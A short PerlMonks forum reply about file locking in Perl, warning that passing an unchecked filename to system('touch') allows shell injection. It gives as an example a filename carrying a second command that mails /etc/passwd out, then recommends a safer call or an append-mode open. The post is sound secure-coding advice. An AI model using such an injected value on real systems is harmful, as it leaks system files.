more useful options | |
PerlMonks |
RE: RE (2): Simple Lockingby KM (Priest) |
on Aug 08, 2000 at 23:52 UTC ( [id://26873]=note: print w/replies, xml ) | Need Help?? |
However KM pointed out to me that the system call to "touch" is not the best approach if the file does not exist. I said this simply becuase it isn't a safe way to use system(). If someone passes "/tmp/file; mail me@me.com < /etc/passwd" as $lockfile, there could be trouble. I would either use a safer system like:
Or, simply an open FH, ">>$lockfile" ... approach.
Cheers,
In Section
Code Catacombs
|
|